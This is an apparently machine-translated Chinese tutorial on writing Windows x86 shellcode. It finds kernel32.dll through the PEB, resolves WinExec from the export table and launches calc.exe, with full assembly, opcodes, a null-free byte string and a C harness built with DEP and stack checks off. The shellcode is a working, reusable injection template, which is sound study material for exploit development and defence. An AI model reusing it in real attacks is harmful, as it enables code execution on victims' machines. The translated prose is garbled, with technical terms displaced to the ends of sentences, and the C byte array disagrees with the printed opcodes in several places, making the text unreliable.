Windows shellcode 脚本编写基础
介绍
本教程适用于 shellcode。Windows shellcode 比 Linux 的 shellcode 难编写得多,您将了解原因。首先,我们需要对 Windows 架构有一个基本的了解,如下所示。好好看看它。分隔线上方的所有内容都处于用户模式,下方的所有内容都处于内核模式。 x86 32bit

图片来源: https://blogs.msdn.microsoft.com/hanybarakat/2007/02/25/deeper-into-windows-architecture/
与 Linux 不同,在 Windows 中,应用程序无法直接访问系统调用。相反,它们使用 中的 函数,这些函数在内部调用 中的 函数,而 又使用 系统调用。这些函数是未记录的,在 User mode 代码的最低抽象级别中实现,而且从上图中可以看出。 Windows API (WinAPI) Native API (NtAPI) Native API ntdll.dll
记录的函数存储在 、 和其他函数中。基本服务(如使用文件系统、进程、设备等)由 提供。 Windows API kernel32.dll advapi32.dll gdi32.dll kernel32.dll
因此,要为 Windows 编写 shellcode,我们需要使用 或 中的函数。但是我们该怎么做呢? WinAPI NtAPI
ntdll.dll 并且它们非常重要,以至于每个进程都会导入它们。 kernel32.dll
为了演示这一点,我使用了 sysinternals 套件 中的 ListDlls 工具。
explorer.exe 加载的前四个 DLL:

notepad.exe 加载的前四个 DLL:

我还编写了一个小汇编程序,它什么都不做(无限空循环),它有 3 个加载的 DLL:

请注意 DLL 的基址。它们在各个进程中是相同的,因为它们在内存中只加载一次,然后由另一个进程(如果需要)使用 pointer/handle 引用。这样做是为了保留内存。但是,这些地址因计算机和重启而异。
这意味着 shellcode 必须找到我们要查找的 DLL 在内存中的位置。然后 shellcode 必须找到我们将要使用的导出函数的地址。
我要编写的 shellcode 将很简单,它的唯一功能是执行.为了实现这一点,我将使用 WinExec 函数,该函数只有两个参数,由.calc.exe kernel32.dll
查找 DLL 基址
线程环境块 (TEB) 是每个线程唯一的结构,驻留在内存中并保存有关线程的信息。的地址保存在 段寄存器 中。 TEB FS
的字段之一是指向 进程环境块 (PEB) 结构的指针,该结构包含有关进程的信息。指向的指针是 开始后的字节数。 TEB PEB 0x30 TEB
0x0C 字节,则包含指向 PEB_LDR_DATA 结构的指针,该结构提供有关加载的 DLL 的信息。它有指向三个双向链表的指针,其中两个对我们的目的特别有趣。其中一个列表是按初始化顺序保存 DLL,另一个列表是按它们在内存中出现的顺序保存 DLL。指向后者的指针存储在 structure 开头的 bytes 处。DLL 的基址是其列表条目连接下方存储的字节。 PEB InInitializationOrderModuleList InMemoryOrderModuleList 0x14 PEB_LDR_DATA 0x10
在 Vista 之前的 Windows 版本中,前两个 DLL 是 和 ,但对于 Vista 及更高版本,第二个 DLL 更改为 。 InInitializationOrderModuleList ntdll.dll kernel32.dll kernelbase.dll
中的第二个和第三个 DLL 是 和 。这适用于所有 Windows 版本(在撰写本文时),并且是首选方法,因为它更具可移植性。 InMemoryOrderModuleList ntdll.dll kernel32.dll
因此,要找到 的地址,我们必须遍历多个内存结构。执行此作的步骤如下: kernel32.dll
- 获取 的地址
PEBfs:0x30 - 获取 (offset 的地址
PEB_LDR_DATA0x0C) - 获取 (offset
InMemoryOrderModuleList0x14) - 获取 (offset 中第二个 () 列表条目的地址
ntdll.dllInMemoryOrderModuleList0x00) - 获取 (offset 中第三个 () 列表条目的地址
kernel32.dllInMemoryOrderModuleList0x00) - 获取 (offset 的基址
kernel32.dll0x10)
执行此作的程序集是:
mov ebx, fs:0x30 ; Get pointer to PEB
mov ebx, [ebx + 0x0C] ; Get pointer to PEB_LDR_DATA
mov ebx, [ebx + 0x14] ; Get pointer to first entry in InMemoryOrderModuleList
mov ebx, [ebx] ; Get pointer to second (ntdll.dll) entry in InMemoryOrderModuleList
mov ebx, [ebx] ; Get pointer to third (kernel32.dll) entry in InMemoryOrderModuleList
mov ebx, [ebx + 0x10] ; Get kernel32.dll base address
他们说一张图片胜过千言万语,所以我制作了一张图片来说明这个过程。在新选项卡中打开它,缩放并仔细查看。

如果一张图片胜过千言万语,那么一部动画就胜过 (Number_of_frames * 1000) 个字。


在学习 Windows shellcode(以及一般的汇编)时, WinREPL 对于在每个汇编指令之后查看结果非常有用。

查找函数地址
现在我们有了 的基址 ,是时候查找函数的地址了。为此,我们需要遍历 DLL 的多个标头。您应该熟悉 PE 可执行文件的格式。试用 PEView 并查看一些 很棒的文件格式插图 。 kernel32.dll WinExec
相对虚拟地址 (RVA) 是相对于 PE 可执行文件的基址的地址,当 PE 可执行文件加载到内存中时 (RVA 不等于可执行文件位于磁盘上的文件偏移量!
在 PE 格式中,在字节的恒定 RVA 处存储 的 RVA 等于 。
字节后是 的 RVA。
字节的开头存储了 DLL 导出的函数数。 字节的开头存储 的 RVA ,其中包含函数地址。
字节的开头存储 的 RVA ,其中包含指向函数名称(字符串)的指针。
字节的 ,该 RVA 的 ,该 RVA 保存函数在 中的位置。 0x3C PE signature 0x5045 0x78 PE signature Export Table 0x14 Export Table 0x1C Export Table Address Table 0x20 Export Table Name Pointer Table 0x24 Export Table Ordinal Table Address Table
因此,要找到,我们必须: WinExec
- 查找 (基址 + 字节) 的 RVA
PE signature0x3C - 找到 (基址 + RVA 的
PE signaturePE signature) - 查找 (地址 + 字节) 的 RVA
Export TablePE signature0x78 - 找到 (基址 + RVA 的
Export TableExport Table) - 查找导出的函数的数量(地址 + 字节)
Export Table0x14 - 查找 (地址 的
Address TableExport Table+0x1C) - 找到 (基址 + RVA 的
Address TableAddress Table) - 查找 (地址 + 字节) 的 RVA
Name Pointer TableExport Table0x20 - 找到 (基址 + RVA 的
Name Pointer TableName Pointer Table) - 查找 (地址 + 字节) 的 RVA
Ordinal TableExport Table0x24 - 找到 (基址 + RVA 的
Ordinal TableOrdinal Table) - 遍历 ,将每个字符串 (name) 与 进行比较并保留位置的计数。
Name Pointer TableWinExec - 从 (address of + (position * 2) bytes) 中找到序号。中的每个条目为 2 字节。
WinExecOrdinal TableOrdinal TableOrdinal Table - 从 (地址 + (ordinal_number * 4) 字节) 中找到函数 RVA。中的每个条目都是 4 字节。
Address TableAddress TableAddress Table - 查找函数地址(基址 + 函数 RVA)
我怀疑有人理解这一点,所以我又做了一些动画。

来自 PEView 以使其更加清晰。

执行此作的程序集是:
; Establish a new stack frame
push ebp
mov ebp, esp
sub esp, 18h ; Allocate memory on stack for local variables
; push the function name on the stack
xor esi, esi
push esi ; null termination
push 63h
pushw 6578h
push 456e6957h
mov [ebp-4], esp ; var4 = "WinExec\x00"
; Find kernel32.dll base address
mov ebx, fs:0x30
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; ebx holds kernel32.dll base address
mov [ebp-8], ebx ; var8 = kernel32.dll base address
; Find WinExec address
mov eax, [ebx + 3Ch] ; RVA of PE signature
add eax, ebx ; Address of PE signature = base address + RVA of PE signature
mov eax, [eax + 78h] ; RVA of Export Table
add eax, ebx ; Address of Export Table
mov ecx, [eax + 24h] ; RVA of Ordinal Table
add ecx, ebx ; Address of Ordinal Table
mov [ebp-0Ch], ecx ; var12 = Address of Ordinal Table
mov edi, [eax + 20h] ; RVA of Name Pointer Table
add edi, ebx ; Address of Name Pointer Table
mov [ebp-10h], edi ; var16 = Address of Name Pointer Table
mov edx, [eax + 1Ch] ; RVA of Address Table
add edx, ebx ; Address of Address Table
mov [ebp-14h], edx ; var20 = Address of Address Table
mov edx, [eax + 14h] ; Number of exported functions
xor eax, eax ; counter = 0
.loop:
mov edi, [ebp-10h] ; edi = var16 = Address of Name Pointer Table
mov esi, [ebp-4] ; esi = var4 = "WinExec\x00"
xor ecx, ecx
cld ; set DF=0 => process strings from left to right
mov edi, [edi + eax*4] ; Entries in Name Pointer Table are 4 bytes long
; edi = RVA Nth entry = Address of Name Table * 4
add edi, ebx ; edi = address of string = base address + RVA Nth entry
add cx, 8 ; Length of strings to compare (len('WinExec') = 8)
repe cmpsb ; Compare the first 8 bytes of strings in
; esi and edi registers. ZF=1 if equal, ZF=0 if not
jz start.found
inc eax ; counter++
cmp eax, edx ; check if last function is reached
jb start.loop ; if not the last -> loop
add esp, 26h
jmp start.end ; if function is not found, jump to end
.found:
; the counter (eax) now holds the position of WinExec
mov ecx, [ebp-0Ch] ; ecx = var12 = Address of Ordinal Table
mov edx, [ebp-14h] ; edx = var20 = Address of Address Table
mov ax, [ecx + eax*2] ; ax = ordinal number = var12 + (counter * 2)
mov eax, [edx + eax*4] ; eax = RVA of function = var20 + (ordinal * 4)
add eax, ebx ; eax = address of WinExec =
; = kernel32.dll base address + RVA of WinExec
.end:
add esp, 26h ; clear the stack
pop ebp
ret
调用函数
剩下的就是使用适当的参数进行调用: WinExec
xor edx, edx
push edx ; null termination
push 6578652eh
push 636c6163h
push 5c32336dh
push 65747379h
push 535c7377h
push 6f646e69h
push 575c3a43h
mov esi, esp ; esi -> "C:\Windows\System32\calc.exe"
push 10 ; window state SW_SHOWDEFAULT
push esi ; "C:\Windows\System32\calc.exe"
call eax ; WinExec
编写 shellcode
现在,您已经熟悉了 Windows shellcode 的基本原理,是时候编写它了。它与我已经展示的代码片段没有太大区别,只是必须将它们粘合在一起,但有细微的差异以避免空字节。我使用 flat assembler 来测试我的代码。
该指令包含 3 个 null 字节。避免这种情况的一种方法是将其编写为: mov ebx, fs:0x30
xor esi, esi ; esi = 0
mov ebx, [fs:30h + esi]

shellcode 的整个程序集如下:
format PE console
use32
entry start
start:
push eax ; Save all registers
push ebx
push ecx
push edx
push esi
push edi
push ebp
; Establish a new stack frame
push ebp
mov ebp, esp
sub esp, 18h ; Allocate memory on stack for local variables
; push the function name on the stack
xor esi, esi
push esi ; null termination
push 63h
pushw 6578h
push 456e6957h
mov [ebp-4], esp ; var4 = "WinExec\x00"
; Find kernel32.dll base address
xor esi, esi ; esi = 0
mov ebx, [fs:30h + esi] ; written this way to avoid null bytes
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; ebx holds kernel32.dll base address
mov [ebp-8], ebx ; var8 = kernel32.dll base address
; Find WinExec address
mov eax, [ebx + 3Ch] ; RVA of PE signature
add eax, ebx ; Address of PE signature = base address + RVA of PE signature
mov eax, [eax + 78h] ; RVA of Export Table
add eax, ebx ; Address of Export Table
mov ecx, [eax + 24h] ; RVA of Ordinal Table
add ecx, ebx ; Address of Ordinal Table
mov [ebp-0Ch], ecx ; var12 = Address of Ordinal Table
mov edi, [eax + 20h] ; RVA of Name Pointer Table
add edi, ebx ; Address of Name Pointer Table
mov [ebp-10h], edi ; var16 = Address of Name Pointer Table
mov edx, [eax + 1Ch] ; RVA of Address Table
add edx, ebx ; Address of Address Table
mov [ebp-14h], edx ; var20 = Address of Address Table
mov edx, [eax + 14h] ; Number of exported functions
xor eax, eax ; counter = 0
.loop:
mov edi, [ebp-10h] ; edi = var16 = Address of Name Pointer Table
mov esi, [ebp-4] ; esi = var4 = "WinExec\x00"
xor ecx, ecx
cld ; set DF=0 => process strings from left to right
mov edi, [edi + eax*4] ; Entries in Name Pointer Table are 4 bytes long
; edi = RVA Nth entry = Address of Name Table * 4
add edi, ebx ; edi = address of string = base address + RVA Nth entry
add cx, 8 ; Length of strings to compare (len('WinExec') = 8)
repe cmpsb ; Compare the first 8 bytes of strings in
; esi and edi registers. ZF=1 if equal, ZF=0 if not
jz start.found
inc eax ; counter++
cmp eax, edx ; check if last function is reached
jb start.loop ; if not the last -> loop
add esp, 26h
jmp start.end ; if function is not found, jump to end
.found:
; the counter (eax) now holds the position of WinExec
mov ecx, [ebp-0Ch] ; ecx = var12 = Address of Ordinal Table
mov edx, [ebp-14h] ; edx = var20 = Address of Address Table
mov ax, [ecx + eax*2] ; ax = ordinal number = var12 + (counter * 2)
mov eax, [edx + eax*4] ; eax = RVA of function = var20 + (ordinal * 4)
add eax, ebx ; eax = address of WinExec =
; = kernel32.dll base address + RVA of WinExec
xor edx, edx
push edx ; null termination
push 6578652eh
push 636c6163h
push 5c32336dh
push 65747379h
push 535c7377h
push 6f646e69h
push 575c3a43h
mov esi, esp ; esi -> "C:\Windows\System32\calc.exe"
push 10 ; window state SW_SHOWDEFAULT
push esi ; "C:\Windows\System32\calc.exe"
call eax ; WinExec
add esp, 46h ; clear the stack
.end:
pop ebp ; restore all registers and exit
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop eax
ret
我在 IDA 中打开了它,以向您展示更好的可视化效果。IDA 中显示的那个并没有保存所有的寄存器,我后来添加了这个,但懒得制作新的屏幕截图。



使用 fasm 编译,然后反编译并提取作码。我们很幸运,没有 null 字节。
objdump -d -M intel shellcode.exe
401000: 50 push eax
401001: 53 push ebx
401002: 51 push ecx
401003: 52 push edx
401004: 56 push esi
401005: 57 push edi
401006: 55 push ebp
401007: 89 e5 mov ebp,esp
401009: 83 ec 18 sub esp,0x18
40100c: 31 f6 xor esi,esi
40100e: 56 push esi
40100f: 6a 63 push 0x63
401011: 66 68 78 65 pushw 0x6578
401015: 68 57 69 6e 45 push 0x456e6957
40101a: 89 65 fc mov DWORD PTR [ebp-0x4],esp
40101d: 31 f6 xor esi,esi
40101f: 64 8b 5e 30 mov ebx,DWORD PTR fs:[esi+0x30]
401023: 8b 5b 0c mov ebx,DWORD PTR [ebx+0xc]
401026: 8b 5b 14 mov ebx,DWORD PTR [ebx+0x14]
401029: 8b 1b mov ebx,DWORD PTR [ebx]
40102b: 8b 1b mov ebx,DWORD PTR [ebx]
40102d: 8b 5b 10 mov ebx,DWORD PTR [ebx+0x10]
401030: 89 5d f8 mov DWORD PTR [ebp-0x8],ebx
401033: 31 c0 xor eax,eax
401035: 8b 43 3c mov eax,DWORD PTR [ebx+0x3c]
401038: 01 d8 add eax,ebx
40103a: 8b 40 78 mov eax,DWORD PTR [eax+0x78]
40103d: 01 d8 add eax,ebx
40103f: 8b 48 24 mov ecx,DWORD PTR [eax+0x24]
401042: 01 d9 add ecx,ebx
401044: 89 4d f4 mov DWORD PTR [ebp-0xc],ecx
401047: 8b 78 20 mov edi,DWORD PTR [eax+0x20]
40104a: 01 df add edi,ebx
40104c: 89 7d f0 mov DWORD PTR [ebp-0x10],edi
40104f: 8b 50 1c mov edx,DWORD PTR [eax+0x1c]
401052: 01 da add edx,ebx
401054: 89 55 ec mov DWORD PTR [ebp-0x14],edx
401057: 8b 50 14 mov edx,DWORD PTR [eax+0x14]
40105a: 31 c0 xor eax,eax
40105c: 8b 7d f0 mov edi,DWORD PTR [ebp-0x10]
40105f: 8b 75 fc mov esi,DWORD PTR [ebp-0x4]
401062: 31 c9 xor ecx,ecx
401064: fc cld
401065: 8b 3c 87 mov edi,DWORD PTR [edi+eax*4]
401068: 01 df add edi,ebx
40106a: 66 83 c1 08 add cx,0x8
40106e: f3 a6 repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
401070: 74 0a je 0x40107c
401072: 40 inc eax
401073: 39 d0 cmp eax,edx
401075: 72 e5 jb 0x40105c
401077: 83 c4 26 add esp,0x26
40107a: eb 3f jmp 0x4010bb
40107c: 8b 4d f4 mov ecx,DWORD PTR [ebp-0xc]
40107f: 8b 55 ec mov edx,DWORD PTR [ebp-0x14]
401082: 66 8b 04 41 mov ax,WORD PTR [ecx+eax*2]
401086: 8b 04 82 mov eax,DWORD PTR [edx+eax*4]
401089: 01 d8 add eax,ebx
40108b: 31 d2 xor edx,edx
40108d: 52 push edx
40108e: 68 2e 65 78 65 push 0x6578652e
401093: 68 63 61 6c 63 push 0x636c6163
401098: 68 6d 33 32 5c push 0x5c32336d
40109d: 68 79 73 74 65 push 0x65747379
4010a2: 68 77 73 5c 53 push 0x535c7377
4010a7: 68 69 6e 64 6f push 0x6f646e69
4010ac: 68 43 3a 5c 57 push 0x575c3a43
4010b1: 89 e6 mov esi,esp
4010b3: 6a 0a push 0xa
4010b5: 56 push esi
4010b6: ff d0 call eax
4010b8: 83 c4 46 add esp,0x46
4010bb: 5d pop ebp
4010bc: 5f pop edi
4010bd: 5e pop esi
4010be: 5a pop edx
4010bf: 59 pop ecx
4010c0: 5b pop ebx
4010c1: 58 pop eax
4010c2: c3 ret
当我开始学习 shellcode 编写时,让我感到困惑的一件事是,在反汇编的输出中,跳转指令使用绝对地址(例如查看地址 :),这让我思考这到底是如何工作的?地址在不同进程和不同系统之间会有所不同,并且 shellcode 将跳转到硬编码地址处的任意代码。那绝对不是便携式的!不过,事实证明,为了方便起见,反汇编的输出使用绝对地址,而实际上指令使用相对地址。 401070 je 0x40107c
再看一下地址 () 处的指令,作码是 ,其中 是 的作码,是作数(它不是一个地址!寄存器将指向 address 处的下一条指令,将 jump 的作数添加到其中,这是反汇编器显示的地址。因此,有证据表明这些指令使用相对寻址,并且 shellcode 将是可移植的。 401070 je 0x40107c 74 0a 74 je 0a EIP 401072 401072 + 0a = 40107c
最后是提取的作码:
50 53 51 52 56 57 55 89 e5 83 ec 18 31 f6 56 6a 63 66 68 78 65 68 57 69 6e 45 89 65 fc 31 f6 64 8b 5e 30 8b 5b 0c 8b 5b 14 8b 1b 8b 1b 8b 5b 10 89 5d f8 31 c0 8b 43 3c 01 d8 8b 40 78 01 d8 8b 48 24 01 d9 89 4d f4 8b 78 20 01 df 89 7d f0 8b 50 1c 01 da 89 55 ec 8b 50 14 31 c0 8b 7d f0 8b 75 fc 31 c9 fc 8b 3c 87 01 df 66 83 c1 08 f3 a6 74 0a 40 39 d0 72 e5 83 c4 26 eb 3f 8b 4d f4 8b 55 ec 66 8b 04 41 8b 04 82 01 d8 31 d2 52 68 2e 65 78 65 68 63 61 6c 63 68 6d 33 32 5c 68 79 73 74 65 68 77 73 5c 53 68 69 6e 64 6f 68 43 3a 5c 57 89 e6 6a 0a 56 ff d0 83 c4 46 5d 5f 5e 5a 59 5b 58 c3
长度(字节):
>>> len(shellcode)
200
它比我编写的 Linux shellcode 大得多。
测试 shellcode
最后一步是测试它是否有效。您可以使用简单的 C 程序来执行此作。
#include <stdio.h>
unsigned char sc[] = "\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
int main()
{
((void(*)())sc)();
return 0;
}
要在 Visual Studio 中成功运行它,您必须在禁用某些保护的情况下编译它:
安全检查:
数据执行保护 (DEP): Disabled (/GS-) No
证明它:)

编辑0x00:
其中一位评论者 告诉我我的 shellcode 中的一个错误。如果您在 Windows 10 以外的作系统上运行它,您会注意到它无法正常工作。这是一个很好的机会,可以挑战自己,尝试通过调试 shellcode 和 google 什么可能导致这种行为来自己修复它。这是一个有趣的问题:) Nathu
如果您无法修复(或不想修复),您可以在下面找到正确的 shellcode 和错误的原因……
解释:
根据编译器选项,程序可能会将堆栈对齐到 2、4 或更多字节边界(应为 2 的幂)。此外,某些函数可能希望堆栈以某种方式对齐。
对齐是出于优化原因,您可以在此处阅读有关它的详细说明: Stack Alignment 。
如果您尝试调试 shellcode,您可能已经注意到问题出在返回错误代码的函数上,尽管它应该可以访问 ! WinExec ERROR_NOACCESS calc.exe
如果您阅读此 msdn 文章 ,您将看到以下内容:
Visual C++ generally aligns data on natural boundaries based on the target processor and the size of the data, up to 4-byte boundaries on 32-bit processors, and 8-byte boundaries on 64-bit processors.
我假设构建系统 DLL 时使用了相同的对齐设置。
因为我们正在执行体系结构代码,所以该函数可能希望堆栈对齐到 。这意味着变量将保存在 的地址 ,而变量将保存在 的地址。例如,以两个变量 – 和 in size 为例。如果变量位于某个地址,则该变量将被放置在 address 中。这意味着变量后面有。这也是为什么有时堆栈上为局部变量分配的内存大于所需内存的原因。 32bit WinExec 4-byte boundary 2-byte multiple of 2 4-byte multiple of 4 2 byte 4 byte 2 byte 0x0004 4 byte 0x0008 2 bytes padding 2 byte
下面显示的部分(字符串被推到堆栈上)会弄乱对齐,从而导致失败。 'WinExec' WinExec
; push the function name on the stack
xor esi, esi
push esi ; null termination
push 63h
pushw 6578h ; THIS PUSH MESSED THE ALIGNMENT
push 456e6957h
mov [ebp-4], esp ; var4 = "WinExec\x00"
要修复它,请将程序集的该部分更改为:
; push the function name on the stack
xor esi, esi ; null termination
push esi
push 636578h ; NOW THE STACK SHOULD BE ALLIGNED PROPERLY
push 456e6957h
mov [ebp-4], esp ; var4 = "WinExec\x00"
它在 Windows 10 上运行的原因可能是因为 WinExec 不再需要对齐堆栈。
下面您可以看到所示的堆栈对齐问题:
使用 fix 后,堆栈将对齐到 4 个字节:
编辑0x01:
尽管它在编译的二进制文件中使用时有效,但之前的更改会产生 null 字节,这在用于利用缓冲区溢出时是一个问题。空字节是由汇编到 的指令引起的。 push 636578h 68 78 65 63 00
以下版本应该可以工作,并且不应产生 null 字节:
xor esi, esi
pushw si ; Pushes only 2 bytes, thus changing the stack alignment to 2-byte boundary
push 63h
pushw 6578h ; Pushing another 2 bytes returns the stack to 4-byte alignment
push 456e6957h
mov [ebp-4], esp ; edx -> "WinExec\x00"
资源
对于 , , 等结构的图片,我查阅了几个资源,因为 MSDN 的官方文档要么不存在,要么不完整,要么完全错误。我主要使用 ntinternals ,但我被在此之前找到的其他一些资源弄糊涂了。我甚至会列出错误的资源,这样如果你偶然发现了它们,你就不会感到困惑(就像我所做的那样)。 TEB PEB
[0x00] Windows 体系结构: https://blogs.msdn.microsoft.com/hanybarakat/2007/02/25/deeper-into-windows-architecture/
[0x01] WinExec 功能: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687393.aspx
[0x02] TEB 说明: https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
[0x03] PEB 说明: https://en.wikipedia.org/wiki/Process_Environment_Block
[0x04] 我从这个博客中获得了灵感,它有很好的插图,但使用了 InInitializationOrderModuleList 的旧技术(它仍然适用于 ntdll.dll,但不适用于 kernel32.dll)
http://blog.the-playground.dk/2012/06/understanding-windows-shellcode.html
[0x05] 我从这里获取的 TEB、PEB、PEB_LDR_DATA 和 LDR_MODULE 的信息(它们实际上与资源0x04中使用的信息相同,但最好:)进行事实核查)。
https://undocumented.ntinternals.net/
[0x06] TEB 结构
的另一个 正确资源 https://www.nirsoft.net/kernel_struct/vista/TEB.html
[0x07] PEB 结构。这是正确的,尽管某些字段显示为 Reserved,这就是我使用 resource 0x05 的原因(它列出了它们的名称)。
https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706.aspx
[0x08] PEB 结构的另一个资源。这个是错误的。如果将字节偏移量计算为 PPEB_LDR_DATA,则它远大于 12 (0x0C) 字节。
https://www.nirsoft.net/kernel_struct/vista/PEB.html
[0x09] PEB_LDR_DATA结构。它来自官方文档,显然是错误的。缺少指向其他两个链表的指针。
https://msdn.microsoft.com/en-us/library/windows/desktop/aa813708.aspx
[0x0a] PEB_LDR_DATA结构。也是错的。UCHAR 是 1 个字节,计算到链表的字节偏移量会产生错误的偏移量。
https://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html
[0x0b] 介绍了查找 kernel32.dll 地址
的 “新”和可移植方法 http://blog.harmonysecurity.com/2009_06_01_archive.html
[0x0c] Windows Internals 书籍,第 6 版
文章作者:大神K
原文链接:https://dashenk.com/2026/04/18/basics-of-windows-shellcode-writing/
版权说明:本文为原创内容,转载请注明出处。